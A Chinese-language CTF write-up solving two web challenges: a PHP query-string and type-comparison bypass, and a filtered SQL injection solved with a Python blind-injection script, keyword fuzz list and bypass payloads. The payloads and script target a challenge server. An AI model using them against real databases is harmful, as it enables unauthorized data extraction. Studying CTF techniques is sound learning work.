前言
实训期间难得的2天假期,考虑到自身实力的不足,还暂时无法融入大队伍.
抓紧练习.期待大佬们RCTF发挥出色.
正文
web1 奇怪的恐龙特性
给了源码:
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
要求传入一个变量A_A
且符合后面的数字判断.
卡了很久,后来在这篇博客:https://www.waitalone.cn/security-scripts-game.html里第8题看到了关键信息:
手册上说
.
不是合法的运算符,会自动替换成_
.而$_SERVER['QUERY_STRING']
由于是用户传入的变量,不会更改.
或者直接对_
进行url编码来绕过$_SERVER['QUERY_STRING']
第二步:
经过测试,我发现
$a = [1,2,3];
$b = 555;
var_dump($a>$b);
竟然为True!
继续测试:
$a = [1111,2,3];
$b = [555,444,9,10];
var_dump($a>$b);// false
$a = [1111,2,3];
$b = [555,444,9];
var_dump($a>$b);//true
$a = [1111,2,3];
$b = '555';
var_dump($a>$b);//true
$a = [1111,2,3];
$b = ['555x',2,3];
var_dump($a>$b);//true
推测两个数组比较先看键值对个数,个数多的就大;再看第一组键值对,哪个大(先判断能不能转数字.如果都不能,则按字典序排),它对应的数组就大.
其实也可以考虑数组内比较是直接按ascii序来的.
但是会显示警告Notice: Array to string conversion
.我一开始以为数字和数组做比较时会把数字转成数组形式,现在看来不是.应该是数组和数字都转向字符串.但是数组会转成什么形式的字符串就不得而知了.希望师傅们可以留下你的见解.
web2 不能注册的admin
解题脚本
# coding=utf-8
import requests
import string
import sys
x = string.digits+string.ascii_letters+"{@_}"
url = 'http://101.71.29.5:10005/json.php'
ans = ''
for j in range(len(ans)+1,20):
for i in range(len(x)):
payload = 'admin" |if(mid(database(),%d,1)>"%s",1,0) #' % (j,x[i])
data= {
'id':payload
}
r = requests.post(url,data=data)
if "admin" in r.text.encode('utf-8'):
ans += x[i]
print ans
print r.text.encode('utf-8')
sys.stdout.flush()
break
else:
pass
#database: 5monthweb
分析
原页面有ajax操作,分析后发现是想json.php post id值.使用admin"#
成功闭合
使用"
会有相应报错
Fatal error: Uncaught exception 'Exception' with message 'You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '"""' at line 1 query:
select * from article where title ="""' in E:\apache2\htdocs\MysqliDb.php:1926
#1 E:\apache2\htdocs\MysqliDb.php(550): MysqliDb->rawQuery('select * from a...', NULL)
#2 E:\apache2\htdocs\json.php(27): MysqliDb->rawQueryOne('select * from a...')
#3 {main} thrown in E:\apache2\htdocs\MysqliDb.php on line 1926
第一眼看过去 mysqli以为要宽字节注入,实际上闭合语句显示是"
fuzz 结果:
no:['ord', 'or', 'union', 'select', 'and', 'from', 'order by', 'substr', "'", '*', '&&', 'information_schema']
yes:[' ', '%', 'group_concat', '(', '"', 'where', 'if', ' ', '||', '#', '--+', '_', '`', '/', '<>', 'in', '=', 'mid', 'like', 'database()', '>', 'user()', 'tables', 'limit']
可以看到union
,select
都被过滤了.而且information.schema
也过滤了.接下来我们有2个思路:
- 根据mysql报错语句,爆库名,爆表名,爆字段名.
- 盲注走起.
方法一 可以参考这篇文章:http://www.zjicmisa.org/index.php/archives/149/
我尝试了一下,都没有成功,而且字段名猜不出来,后面有时间再测试吧
方法二:
根据N1CTF的几个sql注入题,可以构造 admin"|if(mid(database(),1,1)>"0",1,0)#
可以跑出来数据库5monthweb
.
接下来根据报错我们知道表名article
,字段名有:id
,title
.
因此猜测还包含content
字段.
我们用admin" |if(mid(content,1,1)>"0",1,0)#
跑,就看到flag了
问题
脚本有一点小问题,就是mid函数到字段尾的处理.如果您运行的话,会看到在原答案的基础上有一堆0.
战果
觉得我写的可以,还请您关注我的个人静态博客:https://cntjuscswyz.github.io/
ありがとう